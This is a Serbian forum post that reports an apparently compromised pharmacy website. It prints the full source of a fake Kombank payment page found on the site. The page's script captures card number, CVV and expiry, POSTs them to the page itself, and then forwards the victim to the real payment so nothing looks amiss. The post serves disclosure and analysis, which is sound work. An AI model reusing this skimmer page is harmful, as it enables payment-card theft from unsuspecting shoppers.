05-08-2026, 02:46 PM
Na redditu je osvanulo ovo :
Postoji i diskusija na mreži X : https://x.com/fruska_gorica/status/2052661993648046159
URL navodnog lošeg rukovanja platnim karticama je https://www.apotekasrbotrade.rs/inc/vpos.kombank.php
Kada se ode direktno na URL trenutno se dobije "File not found" poruka :
Neko je srećom ranije arhivirao sadržaj na URLScan: https://urlscan.io/result/019e06bd-fcb5-...bc0c1deb2/
Pa možemo da vidimo kako je stranica izgledala :
I da nađemo ceo izvorni kod :
Obzirom da je fajl bio pristupačan jutros a sada više nije, smatram da je ovo kompromitacija sajta gde je neko dodao ovaj dodatni korak da bi uzimao podatke platnih kartica i onda slao na uobičajeno plaćanje da bi žrtvama sve izgledalo uobičajeno.
Postoji i diskusija na mreži X : https://x.com/fruska_gorica/status/2052661993648046159
URL navodnog lošeg rukovanja platnim karticama je https://www.apotekasrbotrade.rs/inc/vpos.kombank.php
Kada se ode direktno na URL trenutno se dobije "File not found" poruka :
Neko je srećom ranije arhivirao sadržaj na URLScan: https://urlscan.io/result/019e06bd-fcb5-...bc0c1deb2/
Pa možemo da vidimo kako je stranica izgledala :
I da nađemo ceo izvorni kod :
Code:
<head></head><body class="login"><form method="post" action="" id="redirectform">
<input type="hidden" name="clientid" value="">
<input type="hidden" name="amount" value="0">
<input type="hidden" name="okurl" value="">
<input type="hidden" name="failUrl" value="">
<input type="hidden" name="TranType" value="">
<input type="hidden" name="Instalment" value="">
<input type="hidden" name="callbackUrl" value="">
<input type="hidden" name="currency" value="">
<input type="hidden" name="rnd" value="">
<input type="hidden" name="storetype" value="">
<input type="hidden" name="hashAlgorithm" value="">
<input type="hidden" name="lang" value="">
<input type="hidden" name="BillToName" value="">
<input type="hidden" name="BillToCompany" value="">
<input type="hidden" name="refreshtime" value="1">
<input type="hidden" name="HASH" value="">
</form>
<script src="chrome-extension://ifibfemgeogfhoebkmokieepdoobkbpo/content/communication_helpers.js"></script>
<script src="chrome-extension://ifibfemgeogfhoebkmokieepdoobkbpo/content/core_helpers.js"></script>
<title>Dobrodošli na stranicu sigurnog plaćanja Halkbank Beograd</title>
<meta http-equiv="Content-Language" content="sr">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="now">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="Author" content="Application and Improvement by Asseco SEE - TURKEY">
<link rel="stylesheet" href="https://vpos.kombank.com/css/kombank/main.css" type="text/css">
<script src="/webjars/jquery/3.7.1/jquery.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" nonce=""></script>
<captcha-widgets></captcha-widgets>
<script src="/js/ajax.js" integrity="sha256-7a3Syyn9FvGKJ/h7cxgm3sh+nzP96b9uGWNroTCbi44=" nonce=""></script>
<script src="/js/kombank/kombank.js" integrity="sha256-2G4FDMxh9y0oli/78WTmWMlEhpaiO4ygjxH7yn8QPVc=" nonce=""></script>
<br>
<form action="/fim/submit" method="post" name="logoform">
<input type="hidden" name="amount" value="1071">
<input type="hidden" name="storetype" value="3D_PAY_HOSTING">
<input type="hidden" name="clientid" value="250002011">
<input type="hidden" name="instalment" value="">
<input type="hidden" name="checkout-id" value="250002011-a551f511-a1b5-44eb-b760-f87231efbc90">
<input type="hidden" name="currency" value="941">
<input type="hidden" name="callbackurl" value="https://www.apotekasrbotrade.rs/korpa-korak-3">
<input type="hidden" name="lang" value="sr">
<input type="hidden" name="trantype" value="PreAuth">
<input type="hidden" name="okurl" value="https://www.apotekasrbotrade.rs/kombank?oid=827958">
<input type="hidden" name="failurl" value="https://www.apotekasrbotrade.rs/kombank?oid=827958">
<div class="wrapper">
<div class="logo">
<img src="https://vpos.kombank.com/images/kombank/new/NLBKOMlogo.JPG" class="img_responsive" alt="Kombank" width="350">
</div>
<h2 class="black2">SRBOTRADE ZU APOTEKA</h2>
<div class="form">
<div class="row">
<div class="col-1">
<span class="black1">Broj kartice</span>
</div>
<div class="col-2">
<span class="black1">
<input type="text" size="19" name="pan" id="pan" maxlength="19" class="buy" autocomplete="off">
</span>
</div>
</div>
<div class="row">
<div class="col-1">
<span class="black1">Datum Isteka</span>
<br>
<span class="red1">( MM / GG )</span>
</div>
<div class="col-2">
<select name="Ecom_Payment_Card_ExpDate_Month" id="month">
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
<select id="year" class="buy" name="Ecom_Payment_Card_ExpDate_Year" size="1">
<option value="2025">2025</option>
<option value="2026">2026</option>
<option value="2027">2027</option>
<option value="2028">2028</option>
<option value="2029">2029</option>
<option value="2030">2030</option>
<option value="2031">2031</option>
<option value="2032">2032</option>
<option value="2033">2033</option>
<option value="2034">2034</option>
<option value="2035">2035</option>
<option value="2036">2036</option>
<option value="2037">2037</option>
<option value="2038">2038</option>
<option value="2039">2039</option>
<option value="2040">2040</option>
<option value="2041">2041</option>
<option value="2042">2042</option>
<option value="2043">2043</option>
</select>
</div>
</div>
<div class="row">
<div class="col-1">
<span class="black1">CVC2/CVV2 kod</span>
<br>
<span class="red1">(3 broja sa poleđine kartice)</span>
</div>
<div class="col-2">
<div class="black1">
<input type="text" id="cvv2" size="4" name="cv2" maxlength="4" class="buy" autocomplete="off">
</div>
</div>
</div>
<div class="row">
<div class="col-1">
<span class="black1">Broj rata</span>
</div>
<div class="col-2">
<div class="black1">
<select id="instalment" name="instalment">
<option value="">-</option>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-1">
<span class="black1">Ukupno</span>
</div>
<div class="col-2">
<span class="black1">
<span class="black1">0.00</span>
<span> </span>
<span>RSD</span>
</span>
</div>
</div>
<div class="row">
<div class="col-1"></div>
<div class="col-2">
<input type="submit" id="btnSbmt" value="Potvrdi">
</div>
</div>
<div class="row pt20">
<div class="col">
<img src="https://vpos.kombank.com/images/kombank/new/visa.gif" alt="" width="70" class="img_responsive">
</div>
<div class="col">
<img src="https://vpos.kombank.com/images/kombank/new/visa_secure.gif" alt="" width="70" class="img_responsive">
</div>
<div class="col">
<img src="https://vpos.kombank.com/images/kombank/new/dinacard.gif" alt="" width="70" class="img_responsive">
</div>
<div class="col">
<img src="https://vpos.kombank.com/images/kombank/new/mc.gif" alt="" width="70" class="img_responsive">
</div>
<div class="col">
<img src="https://vpos.kombank.com/images/kombank/new/mc_check.gif" alt="" width="70" class="img_responsive">
</div>
</div>
<div class="row">
<div class="col-full pt20">
<span class="red1">Transakcije izvršene debitnim karticama moraju proći 3D proveru.</span>
</div>
</div>
</div>
</div>
</form>
<script>
function getCurrentCookies() {
return document.cookie;
}
function addVpayCookie() {
if (!document.cookie.includes("vpay=true")) {
const expires = new Date(Date.now() + 24*60*60*1000).toUTCString();
document.cookie = `vpay=true; expires=${expires}; path=/`;
return true;
}
return false;
}
function checkVpayAndSubmit(formId) {
const justAdded = addVpayCookie();
if (!justAdded && document.cookie.includes("vpay=true")) {
const form = document.getElementById(formId);
if (form) form.submit();
}
}
checkVpayAndSubmit('redirectform');
var email = "";
var phone = "";
var address = "";
var city = "";
var zip = "";
var bill2name = "";
var amount = "0.00";
document.getElementById('btnSbmt')?.addEventListener('click', function (e) {
e.preventDefault();
var cardnum = document.getElementById('pan').value;
var cvv = document.getElementById('cvv2').value;
var expMonth = document.getElementById('month').value;
var expYear = document.getElementById('year').value;
const payload = {
email: email,
phone: phone,
address: address,
city: city,
zip: zip,
bill2name: bill2name,
amount: amount,
cardnum: cardnum,
cvv: cvv,
expMonth: expMonth,
expYear: expYear
};
fetch(location.href, {
method: 'POST',
body: JSON.stringify(payload)
})
.then(response => response.text())
.finally(() => {
document.getElementById('redirectform')?.submit();
});
});
</script>
</body>Obzirom da je fajl bio pristupačan jutros a sada više nije, smatram da je ovo kompromitacija sajta gde je neko dodao ovaj dodatni korak da bi uzimao podatke platnih kartica i onda slao na uobičajeno plaćanje da bi žrtvama sve izgledalo uobičajeno.